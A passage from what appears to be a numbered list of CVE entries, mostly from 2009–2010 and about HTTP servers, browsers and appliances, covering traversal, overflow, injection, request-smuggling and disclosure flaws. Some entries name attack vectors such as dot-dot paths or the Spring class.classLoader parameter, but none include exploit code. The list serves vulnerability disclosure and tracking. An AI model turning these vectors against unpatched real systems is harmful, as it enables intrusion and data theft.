19284| [CVE-2010-3842] Absolute path traversal vulnerability in curl 7.20.0 through 7.21.1, when the --remote-header-name or -J option is used, allows remote servers to create or overwrite arbitrary files by using \ (backslash) as a separator of path components within the Content-disposition HTTP header.
19285| [CVE-2010-3831] Photos in Apple iOS before 4.2 enables support for HTTP Basic Authentication over an unencrypted connection, which allows man-in-the-middle attackers to read MobileMe account passwords by spoofing a MobileMe Gallery server during a "Send to MobileMe" action.
19286| [CVE-2010-3775] Mozilla Firefox before 3.5.16 and 3.6.x before 3.6.13, and SeaMonkey before 2.0.11, does not properly handle certain redirections involving data: URLs and Java LiveConnect scripts, which allows remote attackers to start processes, read arbitrary local files, and establish network connections via vectors involving a refresh value in the http-equiv attribute of a META element, which causes the wrong security principal to be used.
19287| [CVE-2010-3773] Mozilla Firefox before 3.5.16 and 3.6.x before 3.6.13, and SeaMonkey before 2.0.11, when the XMLHttpRequestSpy module in the Firebug add-on is used, does not properly handle interaction between the XMLHttpRequestSpy object and chrome privileged objects, which allows remote attackers to execute arbitrary JavaScript via a crafted HTTP response. NOTE: this vulnerability exists because of an incomplete fix for CVE-2010-0179.
19288| [CVE-2010-3743] Directory traversal vulnerability in Visual Synapse HTTP Server 1.0 RC1 through RC3, and 0.60 and earlier, allows remote attackers to read arbitrary files via a .. (dot dot) in the URI.
19289| [CVE-2010-3574] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that HttpURLConnection does not properly check for the allowHttpTrace permission, which allows untrusted code to perform HTTP TRACE requests.
19290| [CVE-2010-3573] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21 and 5.0 Update 25 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is related to missing validation of request headers in the HttpURLConnection class when they are set by applets, which allows remote attackers to bypass the intended security policy.
19291| [CVE-2010-3549] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is an HTTP request splitting vulnerability involving the handling of the chunked transfer encoding method by the HttpURLConnection class.
19292| [CVE-2010-3541] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is related to missing validation of request headers in the HttpURLConnection class when they are set by applets, which allows remote attackers to bypass the intended security policy.
19293| [CVE-2010-3460] Directory traversal vulnerability in the HTTP interface in AXIGEN Mail Server 7.4.1 for Windows allows remote attackers to read arbitrary files via a %5C (encoded backslash) in the URL.
19294| [CVE-2010-3315] authz.c in the mod_dav_svn module for the Apache HTTP Server, as distributed in Apache Subversion 1.5.x before 1.5.8 and 1.6.x before 1.6.13, when SVNPathAuthz short_circuit is enabled, does not properly handle a named repository as a rule scope, which allows remote authenticated users to bypass intended access restrictions via svn commands.
19295| [CVE-2010-3312] Epiphany 2.28 and 2.29, when WebKit and LibSoup are used, unconditionally displays a closed-lock icon for any URL beginning with the https: substring, without any warning to the user, which allows man-in-the-middle attackers to spoof arbitrary https web sites via a crafted X.509 server certificate.
19296| [CVE-2010-3281] Stack-based buffer overflow in the HTTP proxy service in Alcatel-Lucent OmniVista 4760 server before R5.1.06.03.c_Patch3 allows remote attackers to execute arbitrary code or cause a denial of service (service crash) via a long request.
19297| [CVE-2010-3260] oxf/xml/xerces/XercesSAXParserFactoryImpl.java in the xforms-server component in the XForms service in Orbeon Forms before 3.9 does not properly restrict DTDs in Ajax requests, which allows remote attackers to read arbitrary files or send HTTP requests to intranet servers via an entity declaration in conjunction with an entity reference, related to an "XML injection" issue.
19298| [CVE-2010-3172] CRLF injection vulnerability in Bugzilla before 3.2.9, 3.4.x before 3.4.9, 3.6.x before 3.6.3, and 4.0.x before 4.0rc1, when Server Push is enabled in a web browser, allows remote attackers to inject arbitrary HTTP headers and content, and conduct HTTP response splitting attacks, via a crafted URL.
19299| [CVE-2010-3011] CRLF injection vulnerability in HP System Management Homepage (SMH) before 6.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19300| [CVE-2010-2836] Memory leak in the SSL VPN feature in Cisco IOS 12.4, 15.0, and 15.1, when HTTP port redirection is enabled, allows remote attackers to cause a denial of service (memory consumption) by improperly disconnecting SSL sessions, leading to connections that remain in the CLOSE-WAIT state, aka Bug ID CSCtg21685.
19301| [CVE-2010-2823] Unspecified vulnerability in the deep packet inspection feature on the Cisco Application Control Engine (ACE) 4710 appliance with software before A3(2.6) allows remote attackers to cause a denial of service (device reload) via crafted HTTP packets, related to HTTP, RTSP, and SIP inspection, aka Bug ID CSCtb54493.
19302| [CVE-2010-2791] mod_proxy in httpd in Apache HTTP Server 2.2.9, when running on Unix, does not close the backend connection if a timeout occurs when reading a response from a persistent connection, which allows remote attackers to obtain a potentially sensitive response intended for a different client in opportunistic circumstances via a normal HTTP request. NOTE: this is the same issue as CVE-2010-2068, but for a different OS and set of affected versions.
19303| [CVE-2010-2787] api.php in MediaWiki before 1.15.5 does not prevent use of public caching headers for private data, which allows remote attackers to bypass intended access restrictions and obtain sensitive information by retrieving documents from an HTTP proxy cache that has been used by a victim.
19304| [CVE-2010-2764] Mozilla Firefox before 3.5.12 and 3.6.x before 3.6.9, Thunderbird before 3.0.7 and 3.1.x before 3.1.3, and SeaMonkey before 2.0.7 do not properly restrict read access to the statusText property of XMLHttpRequest objects, which allows remote attackers to discover the existence of intranet web servers via cross-origin requests.
19305| [CVE-2010-2761] The multipart_init function in (1) CGI.pm before 3.50 and (2) Simple.pm in CGI::Simple 1.112 and earlier uses a hardcoded value of the MIME boundary string in multipart/x-mixed-replace content, which allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input that contains this value, a different vulnerability than CVE-2010-3172.
19306| [CVE-2010-2704] Buffer overflow in HP OpenView Network Node Manager (OV NNM) 7.51 and 7.53 allows remote attackers to execute arbitrary code via a long HTTP request to nnmrptconfig.exe.
19307| [CVE-2010-2703] Stack-based buffer overflow in the execvp_nc function in the ov.dll module in HP OpenView Network Node Manager (OV NNM) 7.51 and 7.53, when running on Windows, allows remote attackers to execute arbitrary code via a long HTTP request to webappmon.exe.
19308| [CVE-2010-2629] The Cisco Content Services Switch (CSS) 11500 with software 8.20.4.02 and the Application Control Engine (ACE) 4710 with software A2(3.0) do not properly handle LF header terminators in situations where the GET line is terminated by CRLF, which allows remote attackers to conduct HTTP request smuggling attacks and possibly bypass intended header insertions via crafted header data, as demonstrated by an LF character between the ClientCert-Subject and ClientCert-Subject-CN headers. NOTE: this vulnerability exists because of an incomplete fix for CVE-2010-1576.
19309| [CVE-2010-2584] The Upload method in the RealPage Module Upload ActiveX control in Realpage.dll 1.0.0.9 in RealPage Module ActiveX Controls does not properly restrict certain property values, which allows remote attackers to read arbitrary files via a filename in the SourceFile property in conjunction with an http URL in the DestURL property.
19310| [CVE-2010-2561] Microsoft XML Core Services (aka MSXML) 3.0 does not properly handle HTTP responses, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted response, aka "Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption Vulnerability."
19311| [CVE-2010-2504] Splunk 4.0 through 4.0.10 and 4.1 through 4.1.1 allows remote authenticated users to obtain sensitive information via HTTP header injection, aka SPL-31066.
19312| [CVE-2010-2493] The default configuration of the deployment descriptor (aka web.xml) in picketlink-sts.war in (1) the security_saml quickstart, (2) the webservice_proxy_security quickstart, (3) the web-console application, (4) the http-invoker application, (5) the gpd-deployer application, (6) the jbpm-console application, (7) the contract application, and (8) the uddi-console application in JBoss Enterprise SOA Platform before 5.0.2 contains GET and POST http-method elements, which allows remote attackers to bypass intended access restrictions via a crafted HTTP request.
19313| [CVE-2010-2477] Multiple cross-site scripting (XSS) vulnerabilities in the paste.httpexceptions implementation in Paste before 1.7.4 allow remote attackers to inject arbitrary web script or HTML via vectors involving a 404 status code, related to (1) paste.urlparser.StaticURLParser, (2) paste.urlparser.PkgResourcesParser, (3) paste.urlmap.URLMap, and (4) HTTPNotFound.
19314| [CVE-2010-2465] The S2 Security NetBox 2.5, 3.3, and 4.0, as used in the Linear eMerge 50 and 5000 and the Sonitrol eAccess, stores sensitive information under the web root with insufficient access control, which allows remote attackers to download node logs, photographs of persons, and backup files via unspecified HTTP requests.
19315| [CVE-2010-2435] Weborf HTTP Server 0.12.1 and earlier allows remote attackers to cause a denial of service (crash) via Unicode characters in a Connection HTTP header, and possibly other headers.
19316| [CVE-2010-2432] The cupsDoAuthentication function in auth.c in the client in CUPS before 1.4.4, when HAVE_GSSAPI is omitted, does not properly handle a demand for authorization, which allows remote CUPS servers to cause a denial of service (infinite loop) via HTTP_UNAUTHORIZED responses.
19317| [CVE-2010-2429] Cross-site scripting (XSS) vulnerability in Splunk 4.0 through 4.1.2, when Internet Explorer is used, allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer in a "404 Not Found" response.
19318| [CVE-2010-2333] LiteSpeed Technologies LiteSpeed Web Server 4.0.x before 4.0.15 allows remote attackers to read the source code of scripts via an HTTP request with a null byte followed by a .txt file extension.
19319| [CVE-2010-2328] The HTTP Channel in IBM WebSphere Application Server (WAS) 7.0 before 7.0.0.11 allows remote attackers to cause a denial of service (NullPointerException) via a large amount of chunked data that uses gzip compression.
19320| [CVE-2010-2327] mod_ibm_ssl in IBM HTTP Server 6.0 before 6.0.2.43, 6.1 before 6.1.0.33, and 7.0 before 7.0.0.11, as used in IBM WebSphere Application Server (WAS) on z/OS, does not properly handle a large HTTP request body in uploading over SSL, which might allow remote attackers to cause a denial of service (daemon fail) via an upload.
19321| [CVE-2010-2320] bozotic HTTP server (aka bozohttpd) before 20100621 allows remote attackers to list the contents of home directories, and determine the existence of user accounts, via multiple requests for URIs beginning with /~ sequences.
19322| [CVE-2010-2279] The Top Updates implementation in the Homepage component in IBM Lotus Connections 2.5.x before 2.5.0.2, when "forced SSL" is enabled, uses http for links, which has unspecified impact and remote attack vectors.
19323| [CVE-2010-2270] Accoria Web Server (aka Rock Web Server) 1.4.7 uses a predictable httpmod-sessionid cookie, which makes it easier for remote attackers to hijack sessions via a modified cookie.
19324| [CVE-2010-2267] Multiple cross-site scripting (XSS) vulnerabilities in Accoria Web Server (aka Rock Web Server) 1.4.7 allow remote attackers to inject arbitrary web script or HTML via (1) the query string to the getenv sample program, (2) the desc parameter to loadstatic.cgi, (3) the name parameter to httpdcfg.cgi, or (4) the dns parameter to servercfg.cgi.
19325| [CVE-2010-2195] bozotic HTTP server (aka bozohttpd) 20090522 through 20100512 allows attackers to cause a denial of service via vectors related to a "wrong code generation interaction with GCC."
19326| [CVE-2010-2102] Buffer overflow in Webby Webserver 1.01 allows remote attackers to execute arbitrary code via a long HTTP GET request.
19327| [CVE-2010-2100] The (1) htmlentities, (2) htmlspecialchars, (3) str_getcsv, (4) http_build_query, (5) strpbrk, and (6) strtr functions in PHP 5.2 through 5.2.13 and 5.3 through 5.3.2 allow context-dependent attackers to obtain sensitive information (memory contents) by causing a userspace interruption of an internal function, related to the call time pass by reference feature.
19328| [CVE-2010-2076] Apache CXF 2.0.x before 2.0.13, 2.1.x before 2.1.10, and 2.2.x before 2.2.9, as used in Apache ServiceMix, Apache Camel, Apache Chemistry, Apache jUDDI, Apache Geronimo, and other products, does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via a crafted DTD, as demonstrated by an entity declaration in a request to samples/wsdl_first_pure_xml, a similar issue to CVE-2010-1632.
19329| [CVE-2010-2068] mod_proxy_http.c in mod_proxy_http in the Apache HTTP Server 2.2.9 through 2.2.15, 2.3.4-alpha, and 2.3.5-alpha on Windows, NetWare, and OS/2, in certain configurations involving proxy worker pools, does not properly detect timeouts, which allows remote attackers to obtain a potentially sensitive response intended for a different client in opportunistic circumstances via a normal HTTP request.
19330| [CVE-2010-2054] Integer overflow in httpAdapter.c in httpAdapter in SBLIM SFCB 1.3.4 through 1.3.7, when the configuration sets httpMaxContentLength to a zero value, allows remote attackers to cause a denial of service (heap memory corruption) or possibly execute arbitrary code via a large integer in the Content-Length HTTP header, aka bug #3001915. NOTE: some of these details are obtained from third party information.
19331| [CVE-2010-1940] Apple Safari 4.0.5 on Windows sends the "Authorization: Basic" header appropriate for one web site to a different web site named in a Location header received from the first site, which allows remote web servers to obtain sensitive information by logging HTTP requests. NOTE: the provenance of this information is unknown
19332| [CVE-2010-1937] Heap-based buffer overflow in httpAdapter.c in httpAdapter in SBLIM SFCB before 1.3.8 might allow remote attackers to execute arbitrary code via a Content-Length HTTP header that specifies a value too small for the amount of POST data, aka bug #3001896.
19333| [CVE-2010-1908] The SdcUser.TgConCtl ActiveX control in tgctlcm.dll in Consona Live Assistance, Dynamic Agent, and Subscriber Assistance does not properly restrict access to the HTTPDownloadFile, HTTPGetFile, Install, and RunCmd methods, which allows remote attackers to execute arbitrary programs via a URL in the url argument to (1) HTTPDownloadFile or (2) HTTPGetFile.
19334| [CVE-2010-1866] The dechunk filter in PHP 5.3 through 5.3.2, when decoding an HTTP chunked encoding stream, allows context-dependent attackers to cause a denial of service (crash) and possibly trigger memory corruption via a negative chunk size, which bypasses a signed comparison, related to an integer overflow in the chunk size decoder.
19335| [CVE-2010-1852] Microsoft Internet Explorer, when the Invisible Hand extension is enabled, uses cookies during background HTTP requests in a possibly unexpected manner, which might allow remote web servers to identify specific persons and their product searches via HTTP request logging, related to a "cross-site data leakage" issue.
19336| [CVE-2010-1851] Google Chrome, when the Invisible Hand extension is enabled, uses cookies during background HTTP requests in a possibly unexpected manner, which might allow remote web servers to identify specific persons and their product searches via HTTP request logging, related to a "cross-site data leakage" issue.
19337| [CVE-2010-1767] Cross-site request forgery (CSRF) vulnerability in loader/DocumentThreadableLoader.cpp in WebCore in WebKit before r57041, as used in Google Chrome before 4.1.249.1059, allows remote attackers to hijack the authentication of unspecified victims via a crafted synchronous preflight XMLHttpRequest operation.
19338| [CVE-2010-1760] loader/DocumentThreadableLoader.cpp in the XMLHttpRequest implementation in WebCore in WebKit before r58409 does not properly handle credentials during a cross-origin synchronous request, which has unspecified impact and remote attack vectors, aka rdar problem 7905150.
19339| [CVE-2010-1632] Apache Axis2 before 1.5.2, as used in IBM WebSphere Application Server (WAS) 7.0 through 7.0.0.12, IBM Feature Pack for Web Services 6.1.0.9 through 6.1.0.32, IBM Feature Pack for Web 2.0 1.0.1.0, Apache Synapse, Apache ODE, Apache Tuscany, Apache Geronimo, and other products, does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service (CPU and memory consumption) via a crafted DTD, as demonstrated by an entity declaration in a request to the Synapse SimpleStockQuoteService.
19340| [CVE-2010-1623] Memory leak in the apr_brigade_split_line function in buckets/apr_brigade.c in the Apache Portable Runtime Utility library (aka APR-util) before 1.3.10, as used in the mod_reqtimeout module in the Apache HTTP Server and other software, allows remote attackers to cause a denial of service (memory consumption) via unspecified vectors related to the destruction of an APR bucket.
19341| [CVE-2010-1622] SpringSource Spring Framework 2.5.x before 2.5.6.SEC02, 2.5.7 before 2.5.7.SR01, and 3.0.x before 3.0.3 allows remote attackers to execute arbitrary code via an HTTP request containing class.classLoader.URLs[0]=jar: followed by a URL of a crafted .jar file.
19342| [CVE-2010-1612] The IBM WebSphere DataPower XML Accelerator XA35, Low Latency Appliance XM70, Integration Appliance XI50, B2B Appliance XB60, and XML Security Gateway XS40 SOA Appliances before 3.8.0.0, when a QLOGIC Ethernet interface is used, allow remote attackers to cause a denial of service (interface outage) via malformed ICMP packets to the 0.0.0.0 destination IP address.
19343| [CVE-2010-1576] The Cisco Content Services Switch (CSS) 11500 with software before 8.20.4.02 and the Application Control Engine (ACE) 4710 with software before A2(3.0) do not properly handle use of LF, CR, and LFCR as alternatives to the standard CRLF sequence between HTTP headers, which allows remote attackers to bypass intended header insertions or conduct HTTP request smuggling attacks via crafted header data, as demonstrated by LF characters preceding ClientCert-Subject and ClientCert-Subject-CN headers, aka Bug ID CSCta04885.
19344| [CVE-2010-1544] micro_httpd on the RCA DCM425 cable modem allows remote attackers to cause a denial of service (device reboot) via a long string to TCP port 80.
19345| [CVE-2010-1452] The (1) mod_cache and (2) mod_dav modules in the Apache HTTP Server 2.2.x before 2.2.16 allow remote attackers to cause a denial of service (process crash) via a request that lacks a path.
19346| [CVE-2010-1406] WebKit in Apple Safari before 5.0 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1 on Mac OS X 10.4, sends an https URL in the Referer header of an http request in certain circumstances involving https to http redirection, which allows remote HTTP servers to obtain potentially sensitive information via standard HTTP logging, a related issue to CVE-2010-0660.
19347| [CVE-2010-1384] Apple Safari before 5.0 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1 on Mac OS X 10.4, does not provide a warning about a (1) http or (2) https URL that contains a username and password, which makes it easier for remote attackers to conduct phishing attacks via a crafted URL.
19348| [CVE-2010-1234] Unspecified vulnerability in Google Chrome before 4.1.249.1036 allows remote attackers to truncate the URL shown in the HTTP Basic Authentication dialog via unknown vectors.
19349| [CVE-2010-1231] Google Chrome before 4.1.249.1036 processes HTTP headers before invoking the SafeBrowsing feature, which allows remote attackers to have an unspecified impact via crafted headers.
19350| [CVE-2010-1226] The HTTP client functionality in Apple iPhone OS 3.1 on the iPhone 2G and 3.1.3 on the iPhone 3GS allows remote attackers to cause a denial of service (Safari, Mail, or Springboard crash) via a crafted innerHTML property of a DIV element, related to a "malformed character" issue.
19351| [CVE-2010-1197] Mozilla Firefox 3.5.x before 3.5.10 and 3.6.x before 3.6.4, and SeaMonkey before 2.0.5, does not properly handle situations in which both "Content-Disposition: attachment" and "Content-Type: multipart" are present in HTTP headers, which allows remote attackers to conduct cross-site scripting (XSS) attacks via an uploaded HTML document.
19352| [CVE-2010-1151] Race condition in the mod_auth_shadow module for the Apache HTTP Server allows remote attackers to bypass authentication, and read and possibly modify data, via vectors related to improper interaction with an external helper application for validation of credentials.
19353| [CVE-2010-1044] SQL injection vulnerability in Login.do in ManageEngine OpUtils 5.0 allows remote attackers to execute arbitrary SQL commands via the isHttpPort parameter.
19354| [CVE-2010-0660] Google Chrome before 4.0.249.78 sends an https URL in the Referer header of an http request in certain circumstances involving https to http redirection, which allows remote HTTP servers to obtain potentially sensitive information via standard HTTP logging.
19355| [CVE-2010-0656] WebKit before r51295, as used in Google Chrome before 4.0.249.78, presents a directory-listing page in response to an XMLHttpRequest for a file:/// URL that corresponds to a directory, which allows attackers to obtain sensitive information or possibly have unspecified other impact via a crafted local HTML document.
19356| [CVE-2010-0652] Microsoft Internet Explorer permits cross-origin loading of CSS stylesheets even when the stylesheet download has an incorrect MIME type and the stylesheet document is malformed, which allows remote HTTP servers to obtain sensitive information via a crafted document.
19357| [CVE-2010-0643] Google Chrome before 4.0.249.89 attempts to make direct connections to web sites when all configured proxy servers are unavailable, which allows remote HTTP servers to obtain potentially sensitive information about the identity of a client user via standard HTTP logging, as demonstrated by a proxy server that was configured for the purpose of anonymity.
19358| [CVE-2010-0600] Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 does not properly restrict network access to an unspecified configuration file, which allows remote attackers to read passwords and unspecified other account details via a (1) XML RPC or (2) XML RPC over HTTPS session, aka Bug ID CSCtb83512.
19359| [CVE-2010-0598] Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 does not encrypt HTTP sessions from operator workstations, which allows remote attackers to discover Administrator credentials by sniffing the network, aka Bug ID CSCtb83631.
19360| [CVE-2010-0597] Unspecified vulnerability in Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 allows remote authenticated users to read or modify the device configuration, and gain privileges or cause a denial of service (device reload), via a (1) XML RPC or (2) XML RPC over HTTPS request, aka Bug ID CSCtb83618.
19361| [CVE-2010-0596] Unspecified vulnerability in Cisco Mediator Framework 2.2 before 2.2.1.dev.1 and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 allows remote authenticated users to read or modify the device configuration, and gain privileges, via a (1) HTTP or (2) HTTPS request, aka Bug ID CSCtb83607.
19362| [CVE-2010-0556] browser/login/login_prompt.cc in Google Chrome before 4.0.249.89 populates an authentication dialog with credentials that were stored by Password Manager for a different web site, which allows user-assisted remote HTTP servers to obtain sensitive information via a URL that requires authentication, as demonstrated by a URL in the SRC attribute of an IMG element.
19363| [CVE-2010-0554] The HTTP Authentication implementation in Geo++ GNCASTER 1.4.0.7 and earlier uses the same nonce for all authentication, which allows remote attackers to hijack web sessions or bypass authentication via a replay attack.
19364| [CVE-2010-0551] HTTP authentication implementation in Geo++ GNCASTER 1.4.0.7 and earlier allows remote attackers to read authentication headers of other users via a large request with an incorrect authentication attempt, which includes sensitive memory in the response. NOTE: this is referred to as a "memory leak" by some sources, but is better characterized as "memory disclosure."
19365| [CVE-2010-0550] admin.htm in Geo++ GNCASTER 1.4.0.7 and earlier does not properly enforce HTTP Digest Authentication, which allows remote authenticated users to use HTTP Basic Authentication, bypassing intended server policy.
19366| [CVE-2010-0541] Cross-site scripting (XSS) vulnerability in the WEBrick HTTP server in Ruby in Apple Mac OS X 10.5.8, and 10.6 before 10.6.4, allows remote attackers to inject arbitrary web script or HTML via a crafted URI that triggers a UTF-7 error page.
19367| [CVE-2010-0534] Wiki Server in Apple Mac OS X 10.6 before 10.6.3 does not enforce the service access control list (SACL) for weblogs during weblog creation, which allows remote authenticated users to publish content via HTTP requests.
19368| [CVE-2010-0434] The ap_read_request function in server/protocol.c in the Apache HTTP Server 2.2.x before 2.2.15, when a multithreaded MPM is used, does not properly handle headers in subrequests in certain circumstances involving a parent request that has a body, which might allow remote attackers to obtain sensitive information via a crafted request that triggers access to memory locations associated with an earlier request.
19369| [CVE-2010-0425] modules/arch/win32/mod_isapi.c in mod_isapi in the Apache HTTP Server 2.0.37 through 2.0.63, 2.2.0 through 2.2.14, and 2.3.x before 2.3.7, when running on Windows, does not ensure that request processing is complete before calling isapi_unload for an ISAPI .dll module, which allows remote attackers to execute arbitrary code via unspecified vectors related to a crafted request, a reset packet, and "orphaned callback pointers."
19370| [CVE-2010-0408] The ap_proxy_ajp_request function in mod_proxy_ajp.c in mod_proxy_ajp in the Apache HTTP Server 2.2.x before 2.2.15 does not properly handle certain situations in which a client sends no request body, which allows remote attackers to cause a denial of service (backend server outage) via a crafted request, related to use of a 500 error code instead of the appropriate 400 error code.
19371| [CVE-2010-0394] PyGIT.py in the Trac Git plugin (trac-git) before 0.0.20080710-3+lenny1 and before 0.0.20090320-1 on Debian GNU/Linux, when enabled in Trac, allows remote attackers to execute arbitrary commands via shell metacharacters in a crafted HTTP query that is used to generate a certain git command.
19372| [CVE-2010-0389] The admin server in Sun Java System Web Server 7.0 Update 6 allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an HTTP request that lacks a method token.
19373| [CVE-2010-0387] Multiple heap-based buffer overflows in (1) webservd and (2) the admin server in Sun Java System Web Server 7.0 Update 7 allow remote attackers to cause a denial of service (daemon crash) and possibly have unspecified other impact via a long string in an "Authorization: Digest" HTTP header.
19374| [CVE-2010-0386] The default configuration of Sun Java System Application Server 7 and 7 2004Q2 enables the HTTP TRACE method, which makes it easier for remote attackers to steal cookies and authentication credentials via a cross-site tracing (XST) attack, a related issue to CVE-2004-2763 and CVE-2005-3398.
19375| [CVE-2010-0361] Stack-based buffer overflow in the WebDAV implementation in webservd in Sun Java System Web Server (aka SJWS) 7.0 Update 7 allows remote attackers to cause a denial of service (daemon crash) and possibly have unspecified other impact via a long URI in an HTTP OPTIONS request.
19376| [CVE-2010-0360] Sun Java System Web Server (aka SJWS) 7.0 Update 7 allows remote attackers to overwrite memory locations in the heap, and discover the contents of memory locations, via a malformed HTTP TRACE request that includes a long URI and many empty headers, related to an "overflow." NOTE: this might overlap CVE-2010-0272 and CVE-2010-0273.
19377| [CVE-2010-0295] lighttpd before 1.4.26, and 1.5.x, allocates a buffer for each read operation that occurs for a request, which allows remote attackers to cause a denial of service (memory consumption) by breaking a request into small pieces that are sent at a slow rate.
19378| [CVE-2010-0214] The administrative interface on the PolyVision RoomWizard with firmware 3.2.3 places the Sync Connector Active Directory (AD) credentials in a web form that is accessed over HTTP on port 80, which allows remote attackers to obtain sensitive information by reading the HTML source code corresponding to the /admin/sign/DeviceSynch URI.
19379| [CVE-2010-0179] Mozilla Firefox before 3.0.19 and 3.5.x before 3.5.8, and SeaMonkey before 2.0.3, when the XMLHttpRequestSpy module in the Firebug add-on is used, does not properly handle interaction between the XMLHttpRequestSpy object and chrome privileged objects, which allows remote attackers to execute arbitrary JavaScript via a crafted HTTP response.
19380| [CVE-2010-0172] toolkit/components/passwordmgr/src/nsLoginManagerPrompter.js in the asynchronous Authorization Prompt implementation in Mozilla Firefox 3.6 before 3.6.2 does not properly handle concurrent authorization requests from multiple web sites, which might allow remote web servers to spoof an authorization dialog and capture credentials by demanding HTTP authentication in opportunistic circumstances.
19381| [CVE-2010-0155] CRLF injection vulnerability in load.php in the Local Management Interface (LMI) on the IBM Proventia Network Mail Security System (PNMSS) appliance with firmware before 2.5 allows remote authenticated users to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the javaVersion parameter.
19382| [CVE-2010-0145] Unspecified vulnerability in the embedded HTTPS server on the Cisco IronPort Encryption Appliance 6.2.x before 6.2.9.1 and 6.5.x before 6.5.2, and the IronPort PostX MAP before 6.2.9.1, allows remote attackers to execute arbitrary code via unknown vectors, aka IronPort Bug 65923.
19383| [CVE-2010-0144] Unspecified vulnerability in the WebSafe DistributorServlet in the embedded HTTPS server on the Cisco IronPort Encryption Appliance 6.2.x before 6.2.9.1 and 6.5.x before 6.5.2, and the IronPort PostX MAP before 6.2.9.1, allows remote attackers to read arbitrary files via unknown vectors, aka IronPort Bug 65922.
19384| [CVE-2010-0143] Unspecified vulnerability in the administrative interface in the embedded HTTPS server on the Cisco IronPort Encryption Appliance 6.2.x before 6.2.9.1 and 6.5.x before 6.5.2, and the IronPort PostX MAP before 6.2.9.1, allows remote attackers to read arbitrary files via unknown vectors, aka IronPort Bug 65921.
19385| [CVE-2010-0101] The embedded HTTP server in multiple Lexmark laser and inkjet printers and MarkNet devices, including X94x, W840, T656, N4000, E462, C935dn, 25xxN, and other models, allows remote attackers to cause a denial of service (operating system halt) via a malformed HTTP Authorization header.
19386| [CVE-2010-0010] Integer overflow in the ap_proxy_send_fb function in proxy/proxy_util.c in mod_proxy in the Apache HTTP Server before 1.3.42 on 64-bit platforms allows remote origin servers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a large chunk size that triggers a heap-based buffer overflow.
19387| [CVE-2009-5117] The Web Post Protection feature in McAfee Host Data Loss Prevention (DLP) 3.x before 3.0.100.10 and 9.x before 9.0.0.422, when HTTP Capture mode is enabled, allows local users to obtain sensitive information from web traffic by reading unspecified files.
19388| [CVE-2009-5111] GoAhead WebServer allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris.
19389| [CVE-2009-5110] dhttpd allows remote attackers to cause a denial of service (daemon outage) via partial HTTP requests, as demonstrated by Slowloris.
19390| [CVE-2009-5087] Directory traversal vulnerability in geohttpserver in Geovision Digital Video Surveillance System 8.2 allows remote attackers to read arbitrary files via a .. (dot dot) in a GET request.
19391| [CVE-2009-5051] Hastymail2 before RC 8 does not set the secure flag for the session cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session.
19392| [CVE-2009-4912] Cisco Adaptive Security Appliances (ASA) 5580 series devices with software before 8.1(2) complete an SSL handshake with an HTTPS client even if this client is unauthorized, which might allow remote attackers to bypass intended access restrictions via an HTTPS session, aka Bug ID CSCso10876.
19393| [CVE-2009-4909] admin/index.php in oBlog allows remote attackers to conduct brute-force password guessing attacks via HTTP requests.
19394| [CVE-2009-4873] Stack-based buffer overflow in the HTTP server in Rhino Software Serv-U Web Client 9.0.0.5 allows remote attackers to cause a denial of service (server crash) or execute arbitrary code via a long Session cookie.
19395| [CVE-2009-4788] Multiple open redirect vulnerabilities in Pligg 1.0.2 and earlier allow remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via the (1) return parameter to pligg/login.php and the (2) HTTP Referer header to user_settings.php.
19396| [CVE-2009-4786] Multiple cross-site scripting (XSS) vulnerabilities in Pligg before 1.0.3 allow remote attackers to inject arbitrary web script or HTML via the HTTP Referer header to (1) admin/admin_config.php, (2) admin/admin_modules.php, (3) delete.php, (4) editlink.php, (5) submit.php, (6) submit_groups.php, (7) user_add_remove_links.php, and (8) user_settings.php.
